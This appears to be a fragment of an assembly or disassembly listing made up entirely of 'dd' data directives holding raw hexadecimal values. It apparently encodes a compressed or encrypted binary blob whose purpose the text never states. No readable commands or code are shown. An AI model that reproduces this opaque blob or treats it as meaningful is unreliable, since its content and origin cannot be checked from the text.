		dd 0AE2870Fh, 2D719508h, 1520A528h, 32504A0Dh, 0C3F72917h
		dd 0D827247Ah, 4B00DEDDh, 90D9AE6h, 2889BE98h, 5E9A53FCh
		dd 3394F55h, 431DBA7Ch,	20067650h, 16FB8110h, 83BA5BC0h
		dd 7059281Dh, 69CECBF7h, 0B921CF78h, 5B21D00h, 55E0C450h
		dd 606A0423h, 1F2D9FCCh, 0CBDAC7h, 92383331h, 3F038FF2h
		dd 0BCC13093h, 0A84E690Dh, 990054ECh, 0D2D984F2h, 0E723F0h
		dd 0DDEC6EB4h, 4EFBA50Bh, 61F0FD7Dh, 8501500Ah,	0A4B0AED9h
		dd 0C7E9C280h, 668F50Ah, 0F924C318h, 0DE8F53h, 965D704Eh
		dd 0E102796Bh, 4AB9932Ch, 7176009h, 11148D7Bh, 0FA041F95h
		dd 0BA0C3115h, 0D62A92Ah, 670B7516h, 601DC405h,	7F61735h
		dd 0A87A3F60h, 830C159Fh, 0B6E4C181h, 0ED401FA2h, 2556900h
		dd 5F25A25h, 0D5F819C7h, 6355995Ch, 0E5E60A60h,	7200FF30h
		dd 2776D22Fh, 13770DBh,	0E1CB9BD3h, 6471BD2Bh, 70B35F63h
		dd 0DEAE24h, 6634706Fh,	0E98D638Fh, 102E3725h, 7B5B267Fh
		dd 0D1F92477h, 0F257C60Fh, 0D51BE124h, 0E6184042h, 46730256h
		dd 526D6CB0h, 822DB9E9h, 1185C72Bh, 0A5CC5113h,	1A916017h
		dd 0B1157180h, 0D4268AD1h, 0C90B2436h, 44DF9E2Fh, 0B9066625h
		dd 8C3D9B2Ah, 5BAEA013h, 84549E01h, 306D8Dh, 0AAA9D281h
		dd 6178249Ah, 0B70F60A4h, 98543DC8h, 80883A21h,	363CEDF2h
		dd 51F804D6h, 1B811304h, 263CCAB7h, 0C18F9CDh, 4109D29Eh
		dd 82E442BDh, 670FB680h, 0BC6E2FBh, 0BC6083Fh, 40FBB25Ch
		dd 8D133303h, 80D40C1Dh, 19889E8Eh, 632BB7C0h, 5A72EC89h
		dd 4E2422F9h, 14F191D9h, 0AAC4D218h, 0D122661h,	41AB4952h
		dd 190FD946h, 0C247A021h, 0B9E94EAFh, 202EF517h, 4A36BA13h
		dd 1482FFEh, 0DE02206Dh, 294A20AEh, 47C7D1DEh, 69415F6Ah
		dd 23D2E909h, 0ED33C3Ah, 22FFF19Ch, 98A9BD0Bh, 91A6B5B8h
		dd 7DDF813h, 7DDC28Fh, 0EFFC1217h, 0EEF99CC8h, 660C9481h
		dd 0B79590FBh, 0E3B404B5h, 0C5DA8196h, 0A30C0520h, 0A4805D02h
		dd 952B0CEBh, 85A509CDh, 0CC82F9E2h, 9C895812h,	0E222E2Dh
		dd 0CC0AFB7Dh, 32967260h, 97C97A75h, 7C01C326h,	0DD2D1151h
		dd 204E06F7h, 11961719h, 0A3F54D1Eh, 4C622AB4h,	0DF002B9Fh
		dd 796EEBA7h, 4058612Fh, 1C2D1563h, 0BA668045h,	646A3145h
		dd 0F1156C34h, 413D7806h, 0BD70FE13h, 4C1FDD6Ah, 82040713h
		dd 8C400168h, 4C3F6DBh,	2645890h, 8D82C619h, 68560008h
		dd 0A831B852h, 0C2D5E9Ch, 3B4E7241h, 6A166732h,	10ED0804h
		dd 8164B73Bh, 8AF0BADCh, 68472D10h, 18AC9B08h, 414F3ECh
		dd 841EF08Bh, 0E483684Fh, 213CDE2Fh, 44CA2B25h,	0C07DEC1Ah
		dd 0C2562835h, 75C08518h, 68417598h, 8764980Ah,	10D32ADBh
		dd 0A0FC09D0h, 72A4684Ch, 208056E7h, 279D8B85h,	45BE288h
		dd 0F5550C50h, 15B0C254h, 9E9103C7h, 0C43083Bh,	7D26B002h
		dd 85801434h, 0AA0958EDh, 53021AA4h, 49B53419h,	28174491h
		dd 6804456Dh, 92A5F797h, 39296504h, 0C02679Ah, 32752EB0h
		dd 0C0DA66A6h, 234E35A1h, 0C9E32C0Ch, 661CF046h, 81C3FB8Bh
		dd 0F7792E9h, 172E84B0h, 4784F5C9h, 0BA95404h, 64505EBEh
		dd 6119006Fh, 8ED385EEh, 0F7002D1Ch, 0C50D9EC8h, 2175899h
		dd 64445563h, 668C35FFh
		dd 8A3EEA6Ch, 36892E4Ah, 2C9B174Eh, 0A0F5C081h,	0CBFA302Fh
		dd 0C92EC098h, 3A64660Ch, 85F5BA40h, 24C46FAAh,	481301CDh
		dd 57872842h, 9F4805Ah,	0D19FEEE8h, 7F344A19h, 123192C3h
		dd 49AAE969h, 5E89563Bh, 5912E972h, 0F2A0DB33h,	0C0C0832Dh
		dd 71A28D0Fh, 0A040BE27h, 640B073Fh, 96A08F4Ch,	608880ABh
		dd 1F04E681h, 6152E538h, 71D78C1h, 0FFFB8300h, 0B110E6C8h
		dd 91112180h, 0BF035499h, 5298F137h, 2B5AA1D3h,	1B23322Fh
		dd 94B12E00h, 2A7FB5Ch,	89532C37h, 0ED0458Dh, 91E85F29h
		dd 0BEA2E200h, 1076853h, 0CD5DB9BAh, 838B5F24h,	81C70C60h
		dd 0FF2D33A4h, 0B8D38303h, 97041528h, 5C8BC318h, 0E1E85530h
		dd 0ED815D10h, 1453A649h, 501B838Bh, 2F409C5Fh,	5D0CA989h
		dd 0E7F82742h, 601644B7h, 0A13315EBh, 0C233C1E7h, 0A3849C35h
		dd 3019A2D9h, 0F2049FA5h, 506E595Ah, 18F2F2B2h,	0AC25E033h
		dd 0C5A1507Bh, 4839EFD5h, 0A7E7F18Fh, 0EF41B0AEh, 179BA31h
		dd 0E35DD70Bh, 683C8149h, 0D227C687h, 1ADDE862h, 0FE2D30Ah
		dd 0B906828Eh, 4B8200Ah, 480055D7h, 0F7816405h,	165BB0Dh
		dd 0BA8685D4h, 2F34B640h, 5FE83006h, 0ED770Ch, 4D5868FBh
		dd 0C70A7556h, 76340894h, 8A4EE489h, 10414558h,	448D9960h
		dd 1B80906h, 0E7C8084Eh, 0F6D75CB7h, 4423DFCh, 8824F110h
		dd 20875EB9h, 0C1A45A08h, 4809880Fh, 34489ABh, 51E62680h
		dd 88BA21BDh, 8B8C028Ah, 55E9A8D3h, 6FB88247h, 392E310Eh
		dd 115306Eh, 780045B8h,	74706563h, 396E6F69h, 66BB4920h
		dd 616D720Ah, 3CA2280Ch, 73B9656Ch, 63202C8Ch, 0D7F37418h
		dd 68AF8E9Fh, 1F731FBFh, 59771F66h, 0F1641272h,	0F56CF976h
		dd 73DBE770h, 0A26977D9h, 76CD1D34h, 1C8D266Ch,	8E67676Eh
		dd 0EB2E7340h, 0AF728F54h, 0AF79AF6Bh, 0D0A6675h, 14CFF04h
		dd 80706628h, 43076E73h, 2B4C5254h, 28EBFB5Fh, 0F2466978h
		dd 187ADB64h, 702A7BA6h, 6C3C0879h, 0E262BF69h,	882964DAh
		dd 561A4236h, 0FBA613DFh, 0CE25FB3Dh, 0E843601Eh, 4E496B63h
		dd 1C640FA9h, 5455234Fh, 6F725087h, 0F211DFAh, 0F193B6Dh
		dd 0B61AF304h, 850F1C3Dh, 50A5BC1Eh, 1E5308F5h,	22E158E9h
		dd 4E982A51h, 0A2012D2Fh, 6A27103h, 0DB220E50h,	5CB7BAA1h
		dd 81364E80h, 2D142427h, 28191730h, 89B10737h, 8BEF1632h
		dd 717B0224h, 0F1C911A2h, 21254A14h, 0A201C23Bh, 0E2471035h
		dd 4F90354Eh, 90356CE2h, 3555E24Bh, 5DE23F90h, 0E2439035h
		dd 0C231564h, 1E2FF108h, 420BACE9h, 0FBECA5BDh,	0CD0D9554h
		dd 85160142h, 69713111h, 0C2810031h, 0E91C40F8h, 8D230F62h
		dd 0C44F195h, 40283452h, 3BD4C30Ch, 0B40FA289h,	8676BBA1h
		dd 548B5544h, 5EC3139Dh, 6559144Ch, 508811D1h, 543C3B44h
		dd 0C8474384h, 3C4B4458h, 3F45845Ch, 567DDC4Ah,	6888AF0Dh
		dd 5AA4CDA0h, 64430CC8h, 194B323Fh, 863B0C47h, 0A423745h
		dd 521C4C31h, 0DD080769h, 6281420h, 0D5123930h,	656A24C4h
		dd 2D532440h, 0DEF72D19h, 0D9A60112h, 0ACEBC11Dh, 0E92CD49Bh
		dd 6092D00Bh, 4E195887h, 33FD2057h, 4C26119h, 7B28E634h
		dd 8146032h, 0D12AF604h, 0C324984Fh, 21F860E9h,	3435B58Bh
		dd 0E6818EC7h, 9518F006h, 29E86291h, 0C6811354h, 0B53B58D0h
		dd 0F39C339h, 5176E986h, 0B9D8203Ch, 6FCFB022h,	0B8C6650h
		dd 0A0324C8h, 1F84C485h, 907DA72Ah, 91858BC8h, 1886034Dh
		dd 0AABFDB0Ah, 38952C67h, 240432F6h, 572BCFC6h,	4108CAC1h
		dd 7034DE1h, 4C010FB1h,	0D170FEF1h, 531C25C0h, 896622A3h
		dd 915FCDBh, 0CA535B02h, 82E84C09h, 8435138h, 5389BBE0h
		dd 80CBEF83h, 0C31A03E3h, 174B3884h, 8BC79D76h,	0B16C0DF1h
		dd 8AE6446Eh, 8945C598h, 181E065Fh, 95245A39h, 29012333h
		dd 91A25BBDh, 806009A3h, 31EA243Eh, 0B7A1BB40h,	0B01C763Ah
		dd 10A7B101h, 0E8AACF7h, 32C302C8h, 0AACBD140h,	40C8D20Bh
		dd 0A4A8C01h, 0E56D85E4h, 0C4462367h, 5210A011h, 57D4398Bh
		dd 33087A82h, 2181E9C0h, 0C23F80AAh, 5A5F8DB0h,	5153BCA8h
		dd 4932566Eh, 1E9CF1DBh, 0D1D880ACh, 0BCC381D3h, 37465A1Bh
		dd 49A3CFB0h, 0E897220Bh, 5EC38B07h, 60455B59h,	5FE27B35h
		dd 2AEAAC32h, 0C04077B4h, 0DF438EE7h, 32D80F50h, 293C04A8h
		dd 31DAD499h, 9577280Bh, 858F8360h, 642148DEh, 7C06D628h
		dd 388988BDh, 3F23E935h, 8B1F3AF3h, 17058040h, 899B46F3h
		dd 148621A4h, 46AB3C7Fh, 30F31E28h, 1AAE22F9h, 296987E9h
		dd 727604DFh, 0C7A4D80h, 0CAB20BB8h, 7959A945h,	30061C38h
		dd 46C8D180h, 290FF73Bh, 208DF182h, 280852EAh, 28524CF6h
		dd 5156E028h, 80139053h, 930C4A2Ch, 2D3C0A67h, 0A11C9h
		dd 13349804h, 24C1D832h, 2B1C08C3h, 141CA867h, 375E595Bh
		dd 42669840h, 30DD1736h, 0A28E8122h, 1108950Ch,	403D0CB6h
		dd 0F2D602Ch, 0B9B7108Ch, 8B5B131Ch, 0F4CD30C0h, 10E9556h
		dd 0C26A37F5h, 717CCC73h, 35DCF370h, 40B666E6h,	64741797h
		dd 884F6317h, 1D66839Dh, 0ECF73BAh, 4D8DEE81h, 0E2BEECBEh
		dd 0F428755Ah, 0E9F9880Bh, 0B9654Dh, 87636CBEh,	1ADF8C59h
		dd 0BCC7F766h, 2553E806h, 7ECE60C0h, 0F447B9BCh, 2496BF4Dh
		dd 0CA4A4A43h, 0C715C882h, 0CA68FCDCh, 0E96E3D1Fh, 45F67DF4h
		dd 40BD3DE1h, 6B74BF84h, 0FF2B0D00h, 98B55CB9h,	0EAC5A337h
		dd 7E80EA39h, 0DB5240B2h, 0A87CABB0h, 7082C001h, 2F14FCC1h
		dd 0A2CB546h, 241C895Ah, 154674DCh, 0FCB4E03h, 0EA0BC9BFh
		dd 8BC62CD9h, 24B7913h,	3D4FA6D1h, 53E35D3h, 37BD3348h
		dd 0B59007E2h, 0B78C1AB8h, 0C48A42B3h, 465E975Ch, 77700016h
		dd 1CDFCE4h, 0B7BFEBh, 3F8F459Fh, 0B19EA31Eh, 0D68BC964h
		dd 0E8B26968h, 0C60FF146h, 3CDBEB22h, 511E80FAh, 6CB7BECFh
		dd 5A7C2CFCh, 0F0E4674Fh, 25B07523h, 98ABC01Ch,	2DD200FDh
		dd 0C2B82DDh, 0DC84800Bh, 467CB2BCh, 23DC0018h,	53A9C0B3h
		dd 0F18B0966h, 0CC98615Ah, 2F059D03h, 5B8DF5B7h, 72AF5081h
		dd 2BE9F20h, 24E01AE1h,	42BD01B8h, 73B7BD01h, 33201B5Fh
		dd 0E7FF2CD7h, 575E60FFh, 3800C841h, 0BAB8151h,	0F45839Bh
		dd 824DFA0Dh, 100282F2h, 0F8017F1h, 0FE0140B6h,	17B081C8h
		dd 28B125Ah, 541EC25Fh,	1204DCBBh, 1EB63C3Fh, 1488458Eh
		dd 72B2F6C0h, 78419361h, 0C2072B18h, 6F9EDAE0h,	8BB0DEA5h
		dd 890A5B88h, 0C5F1785Bh, 289E384Eh, 0DE989AD6h, 247C7A61h
		dd 42466540h, 6110005Fh, 6CC05047h, 5101929Dh, 4F11E3BAh
		dd 18625E1Dh, 939CF71Dh, 0E590AFC2h, 1AC97F4h, 2ED02C8Dh
		dd 0FC54DE78h, 343F04C1h, 0F98A921Ah, 58DF7405h, 540531C2h
		dd 0C7E2475Dh, 91C0419Dh, 0D4600259h, 0D144476Ah, 80EBA920h
		dd 0B70FD4B0h, 496861FBh, 81000C34h, 8966C4E3h,	20C05E5Bh
		dd 6030FFC8h, 0F874C2F5h, 0F9C65F61h, 0B0BCEE00h, 0DCED1942h
		dd 9BEC008Ch, 0CAEF81B2h, 777779A3h, 0C7042878h, 3C2E1344h
		dd 5ACE7681h, 3DEF7E8h,	807A485Bh, 41EF43CAh, 0C08FBBCFh
		dd 8305D78Bh, 4EF804E8h, 28187282h, 0C98D8067h,	0B42146C2h
		dd 0B0F5F03Eh, 0B811B24h, 3BDE1409h, 0F3028BB3h, 97E995BCh
		dd 0FDEA93E8h, 0A5EC5600h, 69EBA836h, 0E72B1F1Bh, 53BCC00Ch
		dd 0B82E1046h, 93E3BB02h, 8EEC64B5h, 113CAC04h,	0E5120055h
		dd 36807194h, 0A238345Eh
		dd 993B800Fh, 0D9B7A7EAh, 4D3A006Eh, 0AE0EEE4Fh, 943763DBh
		dd 0AC8040A5h, 64E613Eh, 2566DDC1h, 161E287Dh, 40709503h
		dd 5017E564h, 0E83A38B1h, 352B0002h, 45B7A803h,	0C000D843h
		dd 2E7A34A7h, 0D53832h,	0CCE54EFh, 0D09A6244h, 630AB900h
		dd 0DD6B3319h, 912C4C99h, 5EA8BF00h, 3EA5D22Bh,	0B3866305h
		dd 440C7EDBh, 18755179h, 3166E12Ch, 2B191129h, 0DDA0D8C9h
		dd 1FB0CDE4h, 3F0CEE50h, 0E118EC37h, 0B5696Eh, 401D3AD9h
		dd 0C40013E4h, 37F56DDBh, 52790B03h, 521894E8h,	0E602307Ch
		dd 8531DD78h, 3B10108Eh, 0DFAB6520h, 0AD950870h, 0CCA4F53Eh
		dd 86C9048Dh, 18109805h, 18BABC43h, 6950D16Bh, 154CCE94h
		dd 3CC105BAh, 8000C26Dh, 0A9795B43h, 3B6C1934h,	8692924h
		dd 0C7544427h, 9FFBF98Bh, 1537E8h, 303D0DBAh, 4423E553h
		dd 6C006B77h, 5F4C805Eh, 7929A546h, 84881CD3h, 52F1800Ah
		dd 0B0D99BA2h, 0D5C1930Bh, 0F6AF0001h, 28A694Ch, 517AD1C6h
		dd 24C0D275h, 3100D3ABh, 14F6AF3Fh, 62A4996h, 27A7E504h
		dd 23FE7841h, 0BBA35200h, 3893C5D5h, 0BE3B0013h, 87225764h
		dd 7E2A995Fh, 9498904Ch, 0B4241900h, 91145598h,	807D038Dh
		dd 894D1507h, 0A4A228C8h, 0ED29A8A8h, 0C6266D00h, 0EA33AB13h
		dd 3C1F2FFh, 0BEA28760h, 0B1D69368h, 1A1BD300h,	12E73BD2h
		dd 0FFE10042h, 0C39B90E6h, 5A00FADFh, 5CF0ECBAh, 3ACFA2h
		dd 0B423E3C9h, 0ADA96718h, 8C1C7738h, 0C876104Bh, 262F0184h
		dd 0CE7EB1A4h, 0B6A6D494h, 2C120100h, 7DF87B9h,	0C7250032h
		dd 75EEFA4Ch, 8803D6EDh, 6C3A8D1Dh, 7EA3F05Bh, 0E3B300B0h
		dd 6F80E08Ah, 0FA379993h, 9D807820h, 90834Ah, 0CD17C957h
		dd 0C5B8DB30h, 4F07AC78h, 0ED36CEE9h, 83CC9A30h, 0C346008Fh
		dd 0F9ABDA75h, 0D9729155h, 86C4DE2Eh, 0DD5E7D01h, 4824CA77h
		dd 5714006Fh, 0C7894C4Bh, 35241290h, 0D90AF19Bh, 811EA05Fh
		dd 6C51C502h, 675D408Ah, 44010013h, 251449E4h, 0C9B06E56h
		dd 0A8EFC106h, 3A589708h, 787F61h, 0BF8C75C8h, 986550B3h
		dd 0EA3FE4E3h, 54A20601h, 2BBBD7C7h, 5AAB40C6h,	0ED07003Ch
		dd 0E69D123Fh, 0B11E7269h, 2E40DC4Ah, 9EBF108Fh, 256D040Bh
		dd 80B3F202h, 38585300h, 8A9CFB3Eh, 0D8573667h,	41D39800h
		dd 0C77C2CEEh, 0A0F91911h, 5B7E673Bh, 65045A00h, 9D267B97h
		dd 3558244Dh, 0D5628638h, 9F2028D2h, 0BCA53C77h, 875D8680h
		dd 0DDE116B2h, 40123900h, 3C254D5Eh, 7A930069h,	2919D7EBh
		dd 8AEC6D4Ah, 50F8FB0Ch, 0F859DEABh, 0EC6C0C45h, 34F85617h
		dd 0D002C101h, 0E9DC9807h, 4BC4C840h, 0A64F0731h, 0A071E426h
		dd 0F67F0173h, 96F98B00h, 0B78E6CDEh, 1C987AE1h, 80CEFDD9h
		dd 0E6A794F2h, 0F312A808h, 41072332h, 6B70C153h, 11D930h
		dd 3FF203E9h, 0D1B7C9CFh, 0C23D1D01h, 54E19498h, 0C8D5F187h
		dd 0C3B4C0B3h, 7E747A5Eh, 6EE29400h, 64AC4814h,	77EB4858h
		dd 0FB867F01h, 0F413E86Ah, 8E000540h, 0B1DDE5EFh, 1DBA9D9Ah
		dd 0C7811F78h, 8E1935F6h, 0B91C6E40h, 0B4016515h, 0F5532443h
		dd 35C40BD6h, 8B980195h, 0A7C184D9h, 0E48731CAh, 7B03D7AFh
		dd 0B807E02Ch, 2BC0A5F0h, 62CA9CC4h, 0B4101984h, 0C5079C46h
		dd 21C67974h, 1CFCE470h, 2C9200FBh, 0AF7D57Ah, 440F6025h
		dd 0A0492832h, 0A7F3C811h, 7F5F89Fh, 7698804Fh,	56AD9010h
		dd 0C000D260h, 0C257557Eh, 17F873DBh, 9B606A1h,	4A0C507Fh
		dd 5F01AC21h, 36F10349h, 688EF825h, 0CC40DD04h,	0CA8EE0D4h
		dd 0AB649000h, 5F50B4ADh, 1A820076h, 0F3EC5248h, 0DC003721h
		dd 0F8570DF1h, 2C1B11B3h, 41E77Dh, 0ECE4CE38h, 0D307348Ah
		dd 36E9E06Bh, 5EDF408Eh, 752839h, 0D9A0F866h, 0E1430398h
		dd 0D553F307h, 0C520AAC6h, 9802F7EDh, 3E3DFA20h, 0DC4C6569h
		dd 1A765600h, 8501492Eh, 0F77B4C00h, 7317635Bh,	266F0BDCh
		dd 0EB011EE0h, 8076B474h, 98E53318h, 7B37067h, 3B6F8355h
		dd 3062272Ah, 375849C4h, 65421307h, 0E3702990h,	8BB1A6h
		dd 0FEE527A9h, 6CE81D09h, 30815900h, 6DC9BE69h,	289ECECh
		dd 80CE487Fh, 0B2408FE1h, 0F200646Eh, 3E4A1ECBh, 0A0FC74h
		dd 6D5AEDFAh, 65350F11h, 64D8D426h, 383C0EBAh, 0CC676227h
		dd 724CA7Ch, 9280399Ch,	3FC3FBDh, 0D3CF36DBh, 0B8A80944h
		dd 0B11E67B0h, 0DE8058BCh, 924B085Eh, 7131DC5h,	9E9246h
		dd 3309659Ch, 0E43D86BFh, 1FD500CAh, 1DE062D7h,	15BF61Eh
		dd 7788E8C2h, 2081B28Dh, 2A0232F2h, 2DE4C27h, 0BD976154h
		dd 0A258C8E6h, 727900B9h, 5D1694C6h, 2D03A3EFh,	47FF1A56h
		dd 0D6D480ACh, 0E623009Ch, 0E439FCE3h, 401EE4Ch, 0DEE83C37h
		dd 0FBD42211h, 12A07825h, 19AD6Dh, 0EB132AC8h, 0D1044535h
		dd 954978F3h, 0B98EE080h, 63D3005Dh, 0CDDE59BFh, 7009CE98h
		dd 80C53E0Ah, 0BB763513h, 567B2EE2h, 1C2D8154h,	0F81808BFh
		dd 50EEEE5Ah, 84457300h, 4C1D0B63h, 2C20007Eh, 8A05A6BFh
		dd 0E8008CF3h, 0D1A3AA64h, 0BBC1B2h, 0E1B39139h, 5FF0A1F5h
		dd 220925Ch, 0ADB1E6EAh, 7588A0B2h, 53D4D8h, 481B1680h
		dd 0D2AEA5BFh, 0CD3F7A00h, 0A32BB9C7h, 817B0765h, 605F7203h
		dd 0B6470CF0h, 8336143Ah, 0F4FF7D91h, 0D8ABE8E8h, 0C3C600CCh
		dd 6AAE1F9Dh, 0C4184798h, 0C704F6Eh, 9C803AA2h,	0F061D609h
		dd 0C30C2029h, 0BA4C1AF9h, 920C1D05h, 0B314C406h, 18B27C39h
		dd 0B9B9F06Bh, 100B702Eh, 8F681342h, 95B100C8h,	9260D214h
		dd 3C0FF640h, 102836B8h, 39C1B530h, 0DF2187E2h,	31ACFBB7h
		dd 0D220065h, 90610A8Ch, 63061599h, 0EFA536F5h,	0D56900A9h
		dd 0B7E7DFB9h, 8D98DB61h, 4EDD6A05h, 3C05FB15h,	68482EE5h
		dd 97833E92h, 89033767h, 8A3C09D0h, 0B4B82560h,	22CC60A1h
		dd 441F15CEh, 80408861h, 0DB8189E9h, 0E88DE2B7h, 0F4150C1Dh
		dd 3E28EBACh, 352613Fh,	34CD7D57h, 3992E0ADh, 6B49C04Eh
		dd 0D7B08FB2h, 0EE60DE50h, 80A948CFh, 0AEE01A2Ch, 347B00F6h
		dd 0D880420Dh, 88A0F374h, 7C00F416h, 973A92A3h,	30C10334h
		dd 0A70842BDh, 5DE2C271h, 4BEEEC2Eh, 609A580Ch,	0B81B3043h
		dd 23626BF8h, 9209E0D3h, 639440F5h, 80F28B58h, 21A06C01h
		dd 84D12990h, 0F4859EAh, 241F6A42h, 0E4805EE5h,	3F4E2728h
		dd 0BB4A003Ch, 9E57394Bh, 6E00D123h, 90068486h,	0BBF60F9h
		dd 0A666D5B1h, 0EEEB700Eh, 0DACC6800h, 99098EFAh, 800BF9BAh
		dd 0C111D815h, 5F6200ABh, 37EABD2Ch, 0B979926Fh, 541A732Eh
		dd 0B07B4D80h, 42E3B39h, 61F2A3C1h, 0E880C00Ch,	0D809A533h
		dd 80942DEDh, 0BEA9E960h, 9CCE0CB2h, 82405DF7h,	307C70EDh
		dd 9755E40h, 5C50EEC8h,	0D9D48080h, 42C94B9h, 351F80C7h
		dd 56DEFEC5h, 2E2C9CC0h, 13C61321h, 81CE4h, 30E5EC8Fh
		dd 0E100BB9Ch, 22DBCD0Eh, 3AA818B4h, 2CDD736Ah,	0A7B96904h
		dd 0C4C0A1C9h, 67007DFDh, 0E0D7759Dh, 6007FAF8h, 2ADF217Bh
		dd 21209374h, 20860099h, 9DE21C22h, 3B00EFCFh, 1D429B3Eh
		dd 0B28AD0h, 91FE80BBh,	969EF958h, 0FF13251Dh, 800A670Fh
		dd 0A51A7798h, 746107CEh, 27E258BFh, 0BBB1A069h, 4076B1Bh
		dd 79D323B6h, 6086E765h, 69BD00F8h, 51F6EA59h, 4B4B05A8h
		dd 0AB09D81Fh, 0C42707CFh, 0DF40FEFEh, 0F3D39503h, 0DBAC009Bh
		dd 2EFBB00Eh, 0DA027537h, 35581D22h, 42FDE01Ah,	0A94C1732h
		dd 85F40020h, 95CF6112h
		dd 5A0E9098h, 9F7B4276h, 0F849700Ah, 7E6BD180h,	940D2ADEh
		dd 4D170064h, 0AA06E73Ah, 0EE7E6AF6h, 0ADD05950h, 7E5E48h
		dd 6C56F218h, 73DA70h, 4CD5775Fh, 67C99CE6h, 4B610401h
		dd 0E3A672EEh, 1C311420h, 40E2F0DBh, 3CBF9268h,	1C03FDF4h
		dd 1E1AFB24h, 3498803Dh, 8F70010h, 0F1D73035h, 970205E1h
		dd 5F3A8D04h, 0E848C119h, 45F820h, 0A2F278CDh, 338B5C2Ch
		dd 0DD029102h, 50BBEA03h, 72BF03CCh, 2128DC66h,	5D6E52C0h
		dd 484B8100h, 0F9618A8Bh, 44F439C4h, 78876D00h,	63EB7BFCh
		dd 9545D48h, 80BAC7A8h,	214A7A97h, 3D10EC48h, 4300592Dh
		dd 0C191AC04h, 0E0021D80h, 6ACCDBC7h, 814A40ADh, 86C400D3h
		dd 0FB079021h, 7000737Dh, 6B2A28FFh, 3A5D7F91h,	3C85498Ah
		dd 0C0AA03EFh, 33FEE4FCh, 25E7260Ah, 0B02AC8ABh, 51B50900h
		dd 49CF221Ch, 1EC4904Eh, 0DDB66F69h, 4DAB00E7h,	0E03AFDD2h
		dd 36226E00h, 0DE875FBDh, 5E47386Ch, 92D80F26h,	12427F1h
		dd 0DCE0A196h, 4739F8AFh, 0FD10028h, 83386443h,	15B9076Ah
		dd 0E5A46137h, 8640C2CEh, 64F53860h, 299DA001h,	8E2434E6h
		dd 7DA62C20h, 5A7A00C2h, 787CEE6Eh, 0F24856F7h,	0B99E0FB4h
		dd 5DBB205Eh, 0F28988ABh, 40F62422h, 0B810028h,	0D71C77D3h
		dd 4A54AA05h, 0C01EF149h, 0E4A1B50Ah, 0DCBA9500h, 50AFC4BBh
		dd 18F38048h, 217F1E0Fh, 821834FBh, 88389FDDh, 0D63A002Ch
		dd 7B5BEAFDh, 0B6008067h, 7A6D4749h, 4D436Eh, 0EDA288F8h
		dd 0E41C0557h, 843DAA02h, 58B153C4h, 0A42C0098h, 0FF0EE668h
		dd 0CE4097Bh, 5E167900h, 462F10E4h, 50E445h, 717F20B9h
		dd 8A662715h, 0AF802C00h, 9B8C40A0h, 59CE01BAh,	44B39FBh
		dd 81C030EBh, 0DB196C0Fh, 0F6DF003Fh, 84EC01h, 9B755255h
		dd 74C1A6BBh, 2F251B00h, 93EA094Fh, 4A290032h, 2AC60FF7h
		dd 0E701F0D6h, 0FFE12682h, 0FBDBD4CDh, 0B80AD3F1h, 1339FDD5h
		dd 0F50C2Fh, 9FCFC37Ch,	19185EDCh, 0B5500DFEh, 83F89930h
		dd 17B70C39h, 7BB98000h, 0E669821Ch, 0C49825h, 9F45156Fh
		dd 292BAF93h, 488BEC00h, 3AA0E11h, 65C11CD6h, 8A6E80B2h
		dd 885BB775h, 7D03EC70h, 0C1792E05h, 8093CA5Ah,	0D47065B2h
		dd 691F0020h, 0E12B1445h, 50925D64h, 0A92CB801h, 27FE1537h
		dd 0E8003C21h, 92D6ADh,	9707027Ch, 0C48BB7D9h, 8477F200h
		dd 64FF1DE1h, 0CE5F07EFh, 71A74EA9h, 7062A441h,	2EC5A14h
		dd 1C3EFA00h, 6B67E49Fh, 3D7DB6h, 0B933D047h, 0AC255F5Ch
		dd 853A7E75h, 0A1C4A781h, 99664F2Ch, 42C3C4h, 0F57117EDh
		dd 6AFB2035h, 62AAB201h, 36634E2Ah, 60C4A452h, 4E762938h
		dd 517C00E8h, 8F1E01BCh, 19FC1200h, 0AE44582Fh,	960D004Ah
		dd 0AC6B72DDh, 6700E54Bh, 765BD8A3h, 8632B9h, 75EC756h
		dd 0A0BCE3D1h, 0E83D60C0h, 0C57224h, 2CF06F5Ch,	731EFE4h
		dd 70D87630h, 4B8C27F4h, 0B64C4F37h, 8E2C9A00h,	9700EB9Fh
		dd 96DF352Eh, 16588342h, 4433EF73h, 8067B4E4h, 0C8B99D4Ch
		dd 0F8B759h, 0FF69ED22h, 59C9A3F0h, 6F00F0EAh, 81A5A0CDh
		dd 8004BED6h, 0FD11A97Bh, 0A19C8480h, 47210085h, 5F353F3Ah
		dd 6EE020DBh, 1C38A700h, 0AFBCAE2Eh, 0ABD01BE0h, 19D150CDh
		dd 0B0C1D4E3h, 0EDC880FDh, 0F2BB996Dh, 0A95B00E6h, 0E6E45DAh
		dd 641261B1h, 0E000B08Ah, 0D3441D02h, 0DE0A38EBh, 73010E00h
		dd 51276950h, 0B546A3Ch, 9A4CF40h, 25740339h, 19E8E4Ah
		dd 383688A0h, 7078DA68h, 6C00B114h, 293311D9h, 0EE0D47h
		dd 4C27318Ch, 983C0BF7h, 7341F20Ch, 96929ECh, 80FE4B43h
		dd 6D3E7480h, 3772DC05h, 0D8020400h, 0DB2C8DE3h, 70CC005Dh
		dd 0D422CBC0h, 7602EB26h, 42B816FFh, 0C57C40B6h, 50C700A3h
		dd 0B5E2BC90h, 0FB39D7F4h, 93EB00CCh, 0A806E3A4h, 1F4600F3h
		dd 147AD27Dh, 1100ED60h, 4A3B492Ch, 118B144h, 2A6D69DCh
		dd 3091E779h, 7E7F52CCh, 8F007B46h, 9B31E6EDh, 362DF0BDh
		dd 9C708019h, 0F8DE97EFh, 0E9F100B6h, 40BCA460h, 4D1DDBC9h
		dd 0CBC0211Dh, 694720B7h, 0C3FD00A5h, 0D1E2F7A4h, 0B01D879h
		dd 6ED0CBFEh, 0D8809818h, 7E920E93h, 0B3266FF3h, 3405F82Bh
		dd 0E8C0EBE8h, 19438Ah,	5661FBB6h, 3B3D82D3h, 1A039C92h
		dd 0C7B84403h, 0B5481354h, 52586728h, 30483E52h, 0EA06A349h
		dd 0A7F93797h, 6F23E79h, 51C85618h, 3A00F818h, 9FF76D21h
		dd 805A0Fh, 0BD65352Fh,	60897ACCh, 634CB10Fh, 4FADE26Ah
		dd 984406h, 0FA13E346h,	0A3BD4A1Eh, 0A9127705h,	0AFC053BFh
		dd 459AD4Ch, 6BD57F68h,	2E10F006h, 66108012h, 9659CC8h
		dd 0AB9B7A0h, 693E10CEh, 0EFDF0FECh, 0DCC072B7h, 83E9F24Dh
		dd 68E0FFC3h, 0C700D03Ch, 3D955FF7h, 7D9B59BDh,	94AA2701h
